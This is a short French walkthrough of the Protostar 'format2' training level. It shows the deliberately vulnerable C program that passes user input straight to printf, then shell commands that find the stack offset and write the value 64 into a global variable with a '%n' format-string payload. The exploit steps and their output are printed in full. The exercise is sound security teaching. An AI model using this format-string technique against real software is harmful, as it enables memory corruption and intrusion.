#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }
Contrairement au niveau précédent, nous devons écrire une valeur spécifique dans target.
user@protostar:/opt/protostar/bin$ nm ./format2 | grep target
080496e4 B target
user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format2 | grep 4242; then echo $i; fi; done
BBBB42424242
4
user@protostar:/opt/protostar/bin$ echo BBBB%4\$x | ./format2
BBBB42424242
target is 0 :(
Essayons avec le formateur n et l'adresse de target.
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%4$n"' | ./format2 ? target is 4 :(
Le formateur n écrit le nombre de caractères qui ont été affiché à l'adresse de target. On vois donc que 4 caractères ont été affichés (\xe4\x96\x04\x08). Il nous manque donc 60 caractères à afficher.
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%60d%4$n"' | ./format2
512
you have modified the target :)